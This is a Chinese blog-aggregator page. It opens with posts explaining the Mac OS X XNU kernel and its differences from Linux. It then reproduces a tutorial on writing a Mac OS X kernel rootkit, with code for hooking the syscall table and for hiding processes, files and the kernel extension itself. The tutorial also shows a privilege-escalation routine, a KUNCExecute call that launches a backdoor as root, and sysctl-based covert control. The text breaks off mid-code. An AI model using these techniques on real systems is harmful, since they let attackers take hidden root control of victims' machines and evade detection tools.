mac os 内核版本

2013-12-30 15:26:43 SwingPyzf 阅读数 3984
首先,Mac OS X的内核叫 XNU ,它有许多组件构成,如: Mach 、 BSD 、 I/O Kit 、 Platform Expert 、 libkern 、 libsa 。 

XNU 的Mach部分来自 Mach 3.0 (但是 XNU 不是微内核),它负责 XNU 比较底层的任务,譬如: 


抢占式多任务,包括内核线程(Mac OS X用内核线程实现POSIX线程) 
内存保护 
虚拟内存管理 
进程间通信 
中断管理 
实时支持 
内核调试支持 
控制台I/O 


注意, BSD 子系统其实是内核的一部分(包括其它子系统),它主要使用FreeBSD作为主要的参考代码库(当然也有NetBSD和OpenBSD的一些代码)。 BSD 主要负责: 

处理模型 
用户ID、权限,基本安全策略 
POSIX API,BSD风格的系统调用 
TCP/IP协议栈,BSD套接字,防火墙 
VFS和文件系统 
System V IPC 
加密框架 
各种同步机制 


I/O Kit 是 XNU 不同于其他传统系统的设备驱动框架,它是面向对象的,特性有: 


多种设备家族 
可共享设备的面向对象抽象 
即插即用和热插拔 
电源管理 
抢占式多任务,线程,SMP,内存保护和数据管理 
驱动的动态匹配和加载(多种总线类型) 
一个追踪和维护实例对象详细信息的数据库 
一个系统上所有可用I/O Kit类的数据库 
衍生API 
供应用程序和用户空间的驱动与I/O Kit通信的一套机制/接口 
驱动堆栈 


对于 Platform Expert ,你可以把它看作某种驱动,它能系统所运行平台的类型,它负责: 


建立设备树 
语法分析某个引导参数 
辨认机器(包括处理器和总线的时钟频率) 
万一内核崩溃就初始化一个用户界面可用 


I/O Kit 使用的是C++的一个子集,由 libkern 实现,这个库的主要特性: 


动态对象的分配、组建和破坏 
某些微小操作和各种函数 
提供追踪每个类当前的实例数 
避免“Fragile Base Class Problem” 


libsa 提供用于各种目的的乱七八糟的函数:二叉树搜索啊、排序啊、内核扩展管理啊... 

那么,Darwin是什么?Darwin只能说是一个Mac OS X的基础,它有超过250个软体包,其中许多是Apple自己的包(包括内核和其他各种驱动),另外一些就是来自*BSD和GNU等系统,Apple作了很多努力让这些开放源代码的软体整合到Mac OS X中去
2020-04-28 17:35:42 jyl_sh 阅读数 368

MAC OS X 技术内幕 学习笔记之三 MAC内核和LINUX内核的区别

        网上看到很多资料说 macOS 和 Linux 内核是很相近的东西,甚至有人说MAC OS就是linux的,因为它们可以处理类似的命令和类似的软件。其实是大错特错,事实上是,两个内核有着截然不同的历史和特征。

下面我们来看看macOS 和 Linux 的内核之间的区别。

一、起源和发展历史不同:

macOS 内核的历史

 macOS 内核与苹果公司的几次大的变动分不开的。1985 年,由于与首席执行官 John Sculley 和董事会的矛盾,史蒂夫·乔布斯Steve Jobs离开了苹果公司,成立了一家名为Next的公司。这家公司将一款带有新操作系统的新计算机快速推向市场。在这个系统中NeXT 团队使用了卡耐基梅隆大学的Mach和部分 BSD 代码库来创建NextStep系统。

      由于经营上和管理上的问题,NeXT 从来没有取得过商业上的成功。虽然此时,苹果公司曾多次试图更新其操作系统,甚至与 IBM等巨头合作,但从未获得成功。直到1997年,苹果公司以 4.29 亿美元收购了 NeXT。史蒂夫·乔布斯由重新回到了苹果公司,NeXTSTEP 成为了 macOS 和 iOS 的后续发展和开发的基础。以后的所有产品的开发中都带有NeXT的烙印。

Linux 内核的历史

      而Linux 的创建并非源于商业开发。相反,它是由一个名字叫林纳斯·托瓦兹Linus Torvalds在校大学生的开发。

于1991年开始进行开发的。最初,内核是按照linus自己所使用的计算机的规格编写的,充分利用其机器的新的 80386 处理器的特性。linus于当年的8月份在Usenet上发布了他的新内核代码。很快,他就收到了来自世界各地的开发者提出的代码和功能建议。随后的第二年,Orest Zborowski 将 X Window 系统移植到 Linux,使其能够支持图形用户界面。

        在过去的 二十多年的发展中,Linux 已经慢慢成长起来,并增加了不少功能。也不再是一个学生和业余开发者凭兴趣开发着玩玩的小型项目了。它已经是运行在全世界的机房大多数的服务器和计算机上的主要操作系统了。

二、内核和特性也不相同

macOS 内核的特性

        macOS 内核被官方称为 XNU。这个缩写的名称代表“XNU is Not Unix”。XNU 是“将卡耐基梅隆大学开发的 Mach 内核和 FreeBSD 组件整合而成的混合内核,加上用于编写驱动程序的 C++ API”。BSD 子系统部分采用微内核技术实现用户的空间服务“。而Mach 部分负责底层工作,如多任务、内存保护、虚拟内存管理、内核调试等支持和控制台 I/O。

Linux 内核的特性

     macOS 内核结合了微内核Mach和宏内核BSD的特性,而 Linux 只是一个宏内核,负责管理 CPU、内存、进程间通信、设备驱动程序、文件系统和系统服务调用(system server calls)。

    综合下来起源发展历史来说,Linux 和 Mac 是两个完全不同的东西,起源不同,发展路线和内核的技术结构也不同。从发展时间上看macOS 内核(XNU)比 Linux 更历史悠久些,整合了两个更古老一些的代码库;相比较,Linux则更新一些,并且是以开源的是从头开始编写的,从后续发展来看,尤其是在服务器的那个覆盖的设备方面,更广泛一些,几乎适用于所有的设备机型。

2018-07-24 19:11:41 qq_28869927 阅读数 8877

本文主体部分转自知乎账号“Linux中国”,转载部分已经明确标识,原文链接:https://zhuanlan.zhihu.com/p/40187660

  由于专业缘故(笔者本科专业为“计算机科学与技术”),接触并长期使用过当前主流的三种桌面操作系统:Windows、Mac OS和Linux(深度使用了Ubuntu和Deepin Linux两个系统)。Windows自不必多说,小时候第一台PC就是搭载Windows系统,一直从Windows xp到如今的Windows 10。由于大学阶段的学习,才系统地接触和学习Linux,深度使用过Ubuntu和Deepin Linux两款发型版。现目前,这三款操作系统都在笔者的学习工作生活中扮演着重要的角色,Windows用于实验室台式电脑,作日常研究、学习,编码用;Ubuntu用于一台较老旧的Dell笔记本,主要用于编码和开发;Mac用于对便携和续航有要求的使用环境。
  对于Windows和其他两款操作系统的区别,其实从桌面UI、操作方式等方面就可见一斑。对于Linux和Mac OS两款系统,由于其具有相似的操作方式、使用习惯、桌面设计(如Dock栏)等,很多刚接触的读者可能对它们的区别不是很清楚。甚至常听到“Linux和Mac OS拥有相同内核,都是Unix发展过来的”类似说法。
  刚好最近刷知乎发现一篇文章比较简洁地说明了Linux和Mac OS的区别,内容比较简洁易懂,分享给大家。

  以下为“Linux中国”原文:


  有些人可能会认为 macOS 和 Linux 内核之间存在相似之处,因为它们可以处理类似的命令和类似的软件。有些人甚至认为苹果公司的 macOS 是基于 Linux 的。事实上是,两个内核有着截然不同的历史和特征。今天,我们来看看 macOS 和 Linux 的内核之间的区别。

Mac OS 内核历史

  我们将从 macOS 内核的历史开始。1985 年,由于与首席执行官 John Sculley 和董事会不和, 史蒂夫·乔布斯(Steve Jobs)离开了苹果公司。然后,他成立了一家名为 NeXT 的新电脑公司。乔布斯希望将一款(带有新操作系统的)新计算机快速推向市场。为了节省时间,NeXT 团队使用了卡耐基梅隆大学的 Mach 内核 和部分 BSD 代码库来创建 NeXTSTEP 操作系统。

  NeXT 从来没有取得过财务上的成功,部分归因于乔布斯花钱的习惯,就像他还在苹果公司一样。与此同时,苹果公司曾多次试图更新其操作系统,甚至与 IBM 合作,但从未成功。1997年,苹果公司以 4.29 亿美元收购了 NeXT。作为交易的一部分,史蒂夫·乔布斯回到了苹果公司,同时 NeXTSTEP 成为了 macOS 和 iOS 的基础。

Linux 内核历史

  与 macOS 内核不同,Linux 的创建并非源于商业尝试。相反,它是由芬兰计算机科学专业学生 林纳斯·托瓦兹(Linus Torvalds)于 1991 年创建的。最初,内核是按照林纳斯自己的计算机的规格编写的,因为他想利用其新的 80386 处理器(的特性)。林纳斯于 1991 年 8 月在 Usenet 上发布了他的新内核代码。很快,他就收到了来自世界各地的代码和功能建议。次年,Orest Zborowski 将 X Window 系统移植到 Linux,使其能够支持图形用户界面。

  在过去的 27 年中,Linux 已经慢慢成长并增加了不少功能。这不再是一个学生的小型项目。现在它运行在世界上大多数的计算设备和超级计算机上。

Mac OS 特性

macOS 内核被官方称为 XNU。这个首字母缩写词代表“XNU is Not Unix”。根据 苹果公司的 Github 页面,XNU 是“将卡耐基梅隆大学开发的 Mach 内核和 FreeBSD 组件整合而成的混合内核,加上用于编写驱动程序的 C++ API”。代码的 BSD 子系统部分“在微内核系统中通常实现为用户空间的服务”。Mach 部分负责底层工作,例如多任务、内存保护、虚拟内存管理、内核调试支持和控制台 I/O。

Linux 内核特性

  虽然 macOS 内核结合了微内核(Mach)和宏内核(BSD)的特性,但 Linux 只是一个宏内核。宏内核负责管理 CPU、内存、进程间通信、设备驱动程序、文件系统和系统服务调用( LCTT 译注:原文为 system server calls,但结合 Linux 内核的构成,译者认为这里翻译成系统服务调用更合适,即 system service calls)。

一句话总结Linux和Mac OS 的区别

  macOS 内核(XNU)比 Linux 历史更悠久,并且基于两个更古老一些的代码库的结合;另一方面,Linux 新一些,是从头开始编写的,并且在更多设备上使用。

  如果您发现这篇文章很有趣,请花一点时间在社交媒体,黑客新闻或 Reddit 上分享。


via: https://itsfoss.com/mac-linux-difference/

作者:John Paul 选题:lujun9972 译者:stephenxs 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

2013-01-25 14:49:25 mydo 阅读数 5104
1.引言 

1.1 背景介绍 

        困 扰着不同操作系统的Rootkit已经由来已久,Linux,Windiws,还有各种类BSD等系统都受到了Rootkit的极大危害。目前广泛使用的 一类“内核Rootkit”,是原来“文件转移Rootkit”的衍生和发展。这种发展趋势的必然性,来源于Rootkit和Osiris、 Tripwire等安全软件之间的竞争——后者的出现使得Rootkit开发者不得不在内核空间中寻找更加隐秘的途径,以达到渗透和颠覆系统的目的。 
        Rootkit 是以后门(backdoor)或者嗅探程序(sniffer)等形式存在的恶意代码,其基本行为表现为篡改标准工具和命令的行为与输出。就像计算机安全领 域的其他分支一样,Rootkit与Anti-Rootkit之间总存在着“你高一尺,我高一丈”的对立竞争关系,而且随着技术的发展,这场竞争已经愈演 愈烈。 
        在本文中,以向读者引导和介绍在一个特定系统上实现Rootkit的具体方法为目的,我们将在Apple的Mac OS X操作系统上实现一个运行时内核补丁,完成一个内核级的Rootkit。Apple的Mac OS X系统支持两种不同的CPU架构,即Intel和PowerPC体系。我们实现的Rootkit是体系结构无关的,大部分代码在两种架构下都可以兼容运 行。 

1.2 Rootkit基础 

        Rootkit的目的之一是隐藏自身,因此内核级的Rootkit一般都具有隐藏文件、进程和网络套接字通信的能力,而高级一些的甚至具有后门和和键盘嗅探的功能。 
        当 一个程序,如“/bin/ls”需要列出一个目录下的所有文件时,它会调用内核中的系统调用函数。随着getdirentries()的函数运行,控制流 程从用户空间转移到内核空间,由内核完成用户的请求操作。最终getdirentries()再将特定目录下的文件列表信息返回到用户空间,呈现在用户面 前。 
        为了达到从getdirentires()返回的信息中隐藏特定文件的目的,我们需要修改系统调用返回的文件信息,并在 其到达用户空间之前将特定的条目删除。要实现这个功能有多种选择,一是修改文件系统的处理层,例如虚拟文件系统(VFS)等;二是直接修改目标所指的 getdirentires()函数。相对前者,修改系统调用要简单一些,这也是我们所倾向采用的方法。 

1.3 系统调用基础 

        当 用户空间的程序需要调用内核空间的函数时,它就要唤起(invoke)一个系统调用。系统调用可以看作是提供了特定内核服务的API函数,如文件读写,打 开关闭网络连接等等。每一个系统调用都有唯一的编号,称为系统调用号,在唤起时就是通过编号来判断调用的具体函数。 
        当一个用 户空间的进程需要调用内核函数时,总是先调用一个在libc库中的包装函数,由它产生软件中断,将控制流从用户空间转移到内核。内核在一个称作“系统调用 表”的地方,保存了一份可用的系统调用函数列表,每一个入口项都有一个函数指针,指向编号所对应的系统调用的函数位置。届时,内核将在系统调用表中查找编 号所指的函数入口,并交由后者来处理用户空间的请求。完整的系统调用列表可以在/usr/include/sys/syscall.h文件中找到。如果 Rootkit想要隐藏什么文件,只需关注下面几个系统调用函数就可: 

196 - SYS_getdirentries 
222 - SYS_getdirentriesattr 
344 - SYS_getdirentries64 

        上 述的每一个入口都指出了和列出文件有关的内核函数的地址。SYS_getdirentries是一个先前就有的函数版 本,SYS_getdirentriesattr与前者类似,带有对MAC OS X的特征支持,而SYS_getdirentries64则是较新的版本,支持更长的文件名。通常情况下,SYS_getdirentries由bash 使用,ls用的是SYS_getdirentries64,而SYS_getdirentriesattr则只能由OS X集成的应用程序,如Finder等来使用。在实现Rootkit时,为了向端用户提供统一的输出口径,这其中的每一个函数都要被替换掉。 
        为了实现修改函数输出的功能,设计一个能够替换原始函数的包装函数是十分必要的。包装函数首先调用原始的函数,搜索其输出,做必要的修改和验证之后再返回到用户空间。 

1.4 用户空间与内核空间 

        就 像用户空间的进程有其私有独立的内存地址一样,内核也是在相对独立的地址空间中运行的。这同时意味着在内核中想要自由、不受约束的读写内存地址是不可能实 现的了。当内核空间的程序想要修改用户空间的地址,如拷贝数据到用户空间时,就需要遵守特定的协议和处理例程。好在为了完成特定的任务,有相当数量的辅助 函数可以参考和借鉴,在这里我们就可以使用copyin和copyout这两个函数。 



2 XNU内核介绍 

        Mac OS X操作系统的内核叫做XNU,其核心是基于Mach微内核与FreeBSD 5而实现的。系统在Mach层,负责内核线程、进程、多任务调度、消息传递、虚拟内存管理以及控制台IO等多项任务;接着Mach之上的是BSD层,提供 了与POSIX标准相兼容的API,网络功能,以及文件系统等等。XNU内核采用了一个称之为“I/O Kit”的面向对象框架来实现设备驱动程序的加载和卸载,它既可以将不同的技术糅合在一起为同样的目的服务,也为修改操作系统提供了一条的简便途径。除此 之外,XNU内核还有一个有趣的事情,内核和用户空间都使用各种独立的4GB的地址空间,和我们在其他操作系统中见到的好像不太一样。^_^ 

2.1 OS X内核Rootkit的历史 

        目 前已知的在Mac OS X系统上发布的最早内核Rootkit是WeaponX,由nemo开发,出现于2004年11月份。它采用了和大多数Rootkit一样的内核扩展(可 加载内核模块,LKM)技术,提供了内核Rootkit的各项基本功能。然而WeaponX的兼容性不是很好,随着后来Mac OS X内核的调整,在新系统上也就不能再正常工作了。 
        在最近发布的几个Mac OS X的版本中,Apple作了很多工作,加强了内核防护,让系统渗透变得困难了许多。更令人感到沮丧的是,系统调用表等重要的内核结构,都不再向开发者公开其具体细节,此时开发Rootkit的工作更是显得难上加难。 

2.2 寻找系统调用表 

        版 本号为10.4的OS X系统已经没有导出的内核符号表的存在,这意味着编译器将无法自动确定系统调用表在内存中的存放位置了。此时,可以迂回的,采用在内存空间中强力搜索,或 者寻找其他参照物的方法来解决这个问题。Landon Fuller发现的一条简便途径,系统的输出符号之一nsysent(系统调用表中的入口数目)就位于和系统调用表临近的某个位置,用特殊的程序就将其找 到并返回一个指向系统调用表的指针,具体细节可以参http://landonf.bikemonkey.org/code/macosx/Leopard_PT_DENY_ATTACH.20080122.html 。最终,我们得到了系统调用表入口项的数据结构如下: 

struct sysent { 
int16_t                sy_narg;                                /* number of arguments */ 
int8_t                reserved;                                /* unused value */ 
int8_t                sy_flags;                                /* call flags */ 
sy_call_t                *sy_call;                                /* implementing function */ 
sy_munge_t        *sy_arg_munge32;                /* system call arguments for32-bit processes */ 
sy_munge_t        *sy_arg_munge64;                /* system call arguments for 64-bit processes */ 
int32_t                sy_return_type;                /* return type */ 
uint16_t                sy_arg_bytes;                        /* Size of all arguments for system calls, in bytes */ 
}  *_sysent; 

        该 结构中,我们最感兴趣的莫过于“sy_call”指针了,它指出了系统调用处理函数的实际位置,同时也提示了我们待会儿准备HOOK的目标。说到HOOK 的过程,原理上其实相当简单,只需将“sy_call”指针指向内存中我们自己提供的处理函数就可以了。 

2.3 未公开的内核结构 

        在 10.4版的OS X中,Apple修改了内核结构,以求更好的内核API稳定性。因此即使是在内核调整之后,内核扩展设施仍然能够正常工作。然而正是由于Apple所做的 这些修改,才隐藏了API内部的大量实现细节和关键数据结构,只将某些部分有选择的公开给开发者。 
        这里有一个未公开结构的例子,标识进程的数据结构“proc”。该结构从用户和内核空间都可以访问,用户空间的结构定义在/usr/include/sys/proc.h文件,如文中的代码所示(恕不列出)。 
        内 核中的“proc”结构定义可以从XNU的源代码包中获得,位于xnu-xxx/bsd/sys/proc_internal.h文件,其内部的数据域要 比用户空间中的丰富很多。如果我们回到10.3版本去看一下同样用户空间的proc结构,如下面的代码,也会发现原来的具有更多的数据成员,如文中的代码 所示(恕不列出)。 
        Mac OS X从10.3到10.4的版本演变过程中,Apple重新修改了这些结构,删去了相当数量的结构体成员。在这其中,有一个p_ucred指针,指向的是一 个描述当前进程所属用户受信任程度的数据结构。事实证明,这样做确实有效的遏制住了nemos的攻击势头。后者试图以下面的代码将一个进程的 user-id和group-id设为0,以期取得root权限。然而现在失去了篡改的变量,攻击方法自然也就行不通了。 

void uid0(struct proc *p) { 
        register struct pcred *pc = p->p_cred; 
        pcred_writelock(p); 
        (void)chgproccnt(pc->p_ruid, -1); 
        (void)chgproccnt(0, 1); 
        pc->pc_ucred = crcopy(pc->pc_ucred); 
        pc->pc_ucred->cr_uid = 0; 
        pc->p_ruid = 0; 
        pc->p_svuid = 0; 
        pcred_unlock(p); 
        set_security_token(p); 
        p->p_flag |= P_SUGID; 
        return; 


        这 对于那些需要修改内核结构的Rootkit开发者来说,已经成了一个不可回避的问题,一方面内核结构是未输出和未公开文档化的,另一方面系统自身版本的演 进也加快了结构调整的步伐。不过仍然让我们感到幸运的是,内核代码目前都是开源的,从Apple处可以自由下载。从某种意义上说,这为我们从源代码中提取 需要的数据结构打开了方便之门。 

2.4 I/O Kit框架 

        Mac OS X为创建设备驱动程序提供了一个完整的实现框架,包括多种库、工具和资源等各项组件,就是我们前面提到的“I/O Kit”。I/O Kit在Mac OS X中为上层提供了一个硬件设备的抽象视图,简化了设计过程,也节省了开发时间。整个框架是以面向对象的原则,采用了一种裁剪过的C++语言来实现的,保证 了框架结构的清晰,也提高了代码的重用效率。 
        I/O Kit在内核空间中运行,并且和实际的硬件相交互,所以用来编写键盘记录程序keylogger是再合适不过的了。drspringfield写的 “logKext”就是这方面一个比较典型的例子,它利用I/O Kit框架来记录用户的击键事件。I/O Kit还有其他很多方面的用途,在实现Mac OS X的内核Rootkit时借助它的帮忙可以省去很多不必要的麻烦。 



3 Mac OS X下的内核开发 

        Mac OS X下的内核开发可有多条途径,最简便的就是将“改进”的功能作为内核驱动加载上去。驱动程序可以BSD子层内核扩展,或者面向对象的I/O Kit驱动的方式添加。而这里最简单的内核扩展程序开发方式就要数专门为“Generic Kernel Extension”而设计的XCode-templates了。打开Xcode程序,在“File”菜单中选择“New Project”新建一个项目,在“Kernel Extension”下从可用的模板列表中选择“Generic Kernel Extension”,取一个合适的名字,如“rootkit 0.1”,最后单击“Finish”,就成功的创建了一个Xcode项目了。自动生成的c文件包含了下面所示的内核扩展的入口和出口函数。 

kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) { 
    return KERN_SUCCESS; 


kern_return_t rootkit_0_1_stop (kmod_info_t * ki, void * d) { 
    return KERN_SUCCESS; 


        使 用/sbin/kextload,内核扩展在加载时会调用rootkit_0_1_start()函数,相对的,使用/sbin/kextunload来 卸载,调用的则是rootkit_0_1_stop()。加载和卸载内核扩展都需要root权限,之后这些函数都是在内核空间中运行,对整个操作系统有着 完全的控制权。因此这就要求在编写这些函数时要慎之又慎,一不小心就有可能导致系统的崩溃。这里借用Apple《Kernel Program Guide》中的一句话,“内核编程是一项黑色艺术,应该避免所有的可能,确保万无一失!”,以此来说明内核编程工作的危险性是再合适不过的了。 
        一般来说,在start()函数中对内核做出的任何修改都应该在stop()函数中恢复回来。函数,变量,还有其他形式的本地对象等等都应该在模块卸载时析构,否则后续对其的引用可能引发系统的错误行为,严重时将导致系统崩溃。 
        构 建自己的项目只需要点击“build”按钮即可,编译好的内核扩展文件将存放在build/Relase/目录下,并命名为“rootkit 0.1.kext”。不过请注意,/sbin/kextload只有当内核扩展属于root用户和wheel用户组时,才能加载扩展程序,否则有可能拒绝 用户的加载请求。更改文件的属主可以用chown命令,不喜欢Xcode图形界面的黑客们也可以采用命令行的方式来构建项目,只需输入 “xcodebuild”即可。 
        Apple通过Mac OS X DVD的形式提供了我们所需的XCode IDE和gcc编译器,http://developer.apple.com注册后,也可以下载获得最新版本的开发工具集合。而XNU内核的源码包可以http://opensource.apple.com/darwinsource/ 处下载,在开发时最好保留一份以便快速参考。 
        使 用内核扩展API的最大好处就是,kextload命令接管了连接和加载时的所有操作。这意味着整个Rootkit可以用C语言编写,不用关心之外的繁琐 操作。C语言编写的程序效率较高,可移植性也不错,在Mac OS X支持的两种CPU架构上都可适用。 

3.1 内核版本依赖性 

如 前所述,Landon Fuller已经注意到在10.4版OS X上找到nsysent变量就可以取得系统调用表的地址。然而随着内核发行版本的不同,参考目标之间的相对位置也在发生着或多或少的变化。因此,内核发行 版本间的差异使得内核依赖性的配置操作在内核扩展程序的设计过程中也显得尤为重要。XCode-project中有一个“Info.plist”文件,在 其中的“OSBundleLibraries”条目下加入“com.apple.kernel”键和相关内核版本描述,就可以完成内核依赖性的配置过程。 

<key>OSBundleLibraries</key> 
<dict> 
    <key>com.apple.kernel</key> 
    <string>9.6.0</string> 
</dict> 

        上面的语句将内核扩展程序的编译和9.6.0版本的内核联系在一起,程序每一次主版本号和次版本号的更新,都有必要将代码重新编译一遍。内核的依赖配置操作,是保证内核扩展运行时安全的必要手段之一,系统由此将拒绝加载非匹配版本的内核扩展程序。 



4第一个OS X内核Rootkit 

4.1 替换系统调用 

        要 想快速的在内核中开辟出一片属于Rootkit的领地,我们先来看一个替换getuid()函数的例子。getuid()正常情况下返回当前用户的ID, 我们准备把它替换为一个总是返回uid为0(root用户)的函数。从直觉上讲,这样就获得了root访问权限,但实际上并没有得到root的所有特权, 在此只做一个例子展示而已。^_^ 

int new_getuid() 

  return(0); 


kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) { 
  struct sysent *sysent = find_sysent(); 
  sysent[SYS_getuid].sy_call = (void *) new_getuid; 

  return KERN_SUCCESS; 


        上面的代码首先定义了一个新的getuid()函数,总是返回0值。该新函数在kextload中加载到内核内存,当start()函数运行时,它将原来的getuid()用新的替换掉,最终内核扩展程序操作成功后将返回KERN_SUCCESS。 
        完整的源代码放在本文的附件里,除了上述加载的部分,卸载的部分也已包括其中。 

4.2 隐藏进程 

“/bin /ps”,“top”和监控所有运行进程的操作都要用到系统调用sysctl。我们知道,sysctl是一个多动能的、和内核多种功能交互的通用目的 API,既可以用来列举运行进程,也可以执行打开网络连接等各项操作。现在准备截取和修改系统的进程列表,那渗透sysctl系统调用当然就是我们不二的 选择了。 
        截取sysctl系统调用的方法和前面getuid()的一样,但是需要特别注意的是这里调用的参数情况。 Apple为了支持大端序和小端序两种内存数据的组织形式,使用了数据填充的宏PADL和PADR。它们也带了一些副作用,使得程序的参数结构看上去非常 怪异,不易理解。在使用这些参数结构时建议直接从XNU的源代码包中拷贝相关结构体的定义部分到目标文件,免得数据填充时引起莫名的混淆和错误。 
sysctl 通过一个char类型数组“name”传递功能命令,该命令是按照层次组织的,并且经常包括一些子命令,子命令也会附带自己的参数等等。sysctl及其 子命令的详细说明可以参考“/usr/include/sys/sysctl.h”文件,这其中有CTL_KERN->KERN_PROC的命令请 求,将系统的运行进程列表拷贝到用户提供的缓冲区中。从Rootkit的角度来看,这引入了一个问题——我们意图在数据返回到用户之前修改其输出,但它却 直接将数据返回到了用户提供的缓冲区里。不过幸运的是,我们此时仍然有办法在返回到用户应用程序之前成功的篡改数据,只要将数据从用户空间先拷贝到内核空 间的缓冲区,修改完成后再复制回去即可。 
        首先为了拷贝数据,需要用MALLOC宏分配必要的内存空间;接着用copyin函 数将用户空间的数据拷贝到内核中来;然后是对数据的筛选和验证过程,留下不重要的,删去那些敏感的信息,将缓冲区中的内容覆盖掉就可以去除某个进程的相关 条目。覆盖操作可以用bcopy函数完成,一旦有数据被删除,还应该调整缓冲区的长度信息,长度缩短以后,将数据拷贝回到用户空间。 

/* Search for process to remove */ 
for (i = 0; i < nprocs; i++) 
if(plist.kp_proc.p_pid == 11) /* hardcoded PID */ 

/* If there is more then one entry left in the list 
* overwrite this entry with the rest of the buffer */ 

if((i+1) < nprocs) 
bcopy(&plist[i+1],&plist,(nprocs - (i + 1)) * sizeof(struct kinfo_proc)); 
/* Decrease size */ 
oldlen -= sizeof(struct kinfo_proc); 
nprocs--; 


        修改后的数据利用copyout函数拷贝回到用户空间的缓冲区。在本例中,用到了两个相关的拷贝函数,suulong拷贝少量的数据到用户空间,copyout则将整个数据缓冲区都拷贝回去。 

/* Copy back the length to userspace */ 
suulong(uap->oldlenp,oldlen); 

/* Copy the data back to userspace */ 
copyout(mem,uap->old, oldlen); 

        数据被修改之后,在缓冲区的尾部可能会残留着原来最后一个进程条目的相关信息,作为检测内存篡改的依据。为了确保篡改不被发现,有必要将缓冲区的空余部分都设置为0。 

4.3 隐藏文件 

        如 前所述,和隐藏文件有关的三个系统调用分别是SYS_getdirentries,SYS_getdirentriesattr和 SYS_getdirentries64。它们都使用共享sysctl的方式填充所提供的数据缓冲区,并接收返回的数据长度计数值。由于其中各结构变量的 尺寸不同,数据转换时需要进行准确的指针运算。然而有过C语言编程经验的人都知道,指针算术是最容易犯错误的领域之一,在系统内核的范围之内,稍不注意更 是有可能造成严重后果。而且要做到隐藏文件的一致性,getdirent族的三个系统调用都有修改的必要。 
        隐藏文件的过程和隐藏进程非常类似,先调用原始的函数,将返回数据从用户空间拷贝到内核空间,修改之后再拷贝回去就可以了,具体细节可以参考文章附件里的代码。 

4.4 隐藏内核扩展程序 

        平时用kextstat命令就可以列举出系统内的所有内核模块,如果Rootkit的模块也被显示出来,那Rootkit将毫无任何隐蔽性可言。Nemo在WeaponX的实现时,想出了一个简单的方法来克服这个问题。 

extern kmod_info_t *kmod; 

void activate_cloaking() 

kmod_info_t *k; 
k = kmod; 
kmod = k->next; 


        上 面的代码搜索可加载内核模块的链表,简单的将Rootkit的模块从中删除。kextstat命令在执行时会遍历该链表,输出模块信息。现在 Rootkit的模块没有了,自然也就销声匿迹了。不过在kextunload的时候,由于找不到模块,执行也会以失败而告终,这也算是获得隐蔽性所换来 的代价吧。 

4.5 在内核空间运行用户空间的程序 

        Mac OS X中有一种特殊的API,叫做KUNC(Kernel-User Notification Center),用来从内核向用户显示一条通知信息,或者在用户空间运行程序或者命令。 
        KUNC API中有在用户空间执行程序的命令KUNCExecute(),用于从内核在用户空间执行程序的目的。该函数的定义在xnu-xxx/osfmk /UserNotification/KUNCUserNotifications.h文件中,我们选取了如下的代码片段。 

#define kOpenApplicationPath        0 
#define kOpenPreferencePanel        1 
#define kOpenApplication                2 

#define kOpenAppAsRoot                        0 
#define kOpenAppAsConsoleUser                1 

kern_ret_t KUNCExecute(char *executionPath, int openAsUser, int pathExecutionType); 

        “executionPath” 是要执行的程序路径。“openAsUser”标志指出执行程序所属的用户,既可以是“kOpenAppAsConsoleUser”,属于当前登录用 户,也可以是“kOpenAppAsRoot”,作为root用户执行。最后的“pathExecutionType”也是一个程序标志,指出执行程序的 类型,有以下几种取值: 

kOpenApplicationPath                按照绝对路径定位可执行程序 
kOpenPreferencePanel                优先定位/System/Library/PreferencePanes目录下的可执行程序 
kOpenApplication                        优先定位/Applications目录下的可执行程序 

此时如果要执行的是“/var/tmp/mybackdoor”,只需编写下面的函数调用即可: 

KUNCExecute("/var/tmp/mybackdoor", kOpenAppAsRoot, kOpenApplicationPath); 

        KUNCExecute 函数在某些触发器程序上有着广泛的应用,例如勾挂TCP处理函数之后,在用户空间向源IP地址回发一个标志报文,触发源IP端的某种响应功能就可以用到 它。有时,我们也可以勾挂SYS_open函数,根据特殊的标志执行KUNCExecute调用,扩大后门程序的本地权限。由此观之,利用 KUNCExecute为我们的Rootkit所带来的可能性是无穷无尽的。 

4.6 从用户空间控制Rootkit 

        一旦合适的系统调用和内核函数都被替换过之后,新的函数就可以隐藏文件、进程,甚至打开系统的网络连接通信了。通常,要触发Rookit开始工作就是勾挂特定的系统调用函数和匹配特定的信号。该过程在实现上比较简单,不需要额外的工具支持就可以做到。 
        当 隐藏进程时,可以勾挂fork()和exec()等函数族,根据参数传入的特定标志隐藏单个进程或者整个进程树。而隐藏文件和套接字通信时,则更具技巧一 些。因为此时没有类似前者使用的标志那样的东西,可以通知Rootkit需要在何时何地隐藏什么,所以我们转而想办法要创建一些新的系统调用出来。创建新 的系统调用并不是件困难的事情,勾挂原始的,再加上一个特殊的参数,能够触发通信的隐蔽通道就可以了。不过,这需要用户空间特殊工具的支持,借助它们才能 提供正确的参数,并调用到正确的函数。然而,特殊工具的使用也大大增加了Rootkit被检测到的风险,即便是在Rootkit想尝试隐藏它们的情况下也 是如此。随后建立隐蔽通道的过程倒是不需要特殊工具,也不需要修改/dev/目录下的什么东西,只需要sysctl函数就可以了。在Mac OS X内核驱动中可以注册自己的变量并利用/usr/sbin/sysctl就可以修改它们。我们可以观察变量的值,获知外部通知的工作信号。 
        注册一个新的sysctl的过程也不困难,我们从《Linux on-the-fly kernel patching without LKM》一文中截取了下面的示例代码。 

/* global variable where argument for our sysctl is stored */ 
int  sysctl_arg = 0; 

static int sysctl_hideproc SYSCTL_HANDLER_ARGS 
{     
int error;     
error = sysctl_handle_int(oidp, oidp->oid_arg1,oidp->oid_arg2, req); 
                 
if (!error && req->newptr) 
{         
if(arg2 == 0) 
printf("Hide process %d/n",sysctl_arg); 
else               
printf("Unhide process %d/n",sysctl_arg); 

/* We return failure so that we dont show up in "sysclt -A"-listings. */ 
return KERN_FAILURE; 


/* Create our sysctl:s */ 
SYSCTL_PROC(_hw, OID_AUTO, 
                        hideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR, 
                    &sysctl_arg, 0, &sysctl_hideproc , "I", "Hide a process"); 

SYSCTL_PROC(_hw, OID_AUTO, 
                        unhideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR, 
                    &sysctl_arg, 1, &sysctl_hideproc , "I", "Unhide a process"); 

kern_return_t kext_start (kmod_info_t * ki, void * d) { 

/* Register our sysctl */ 
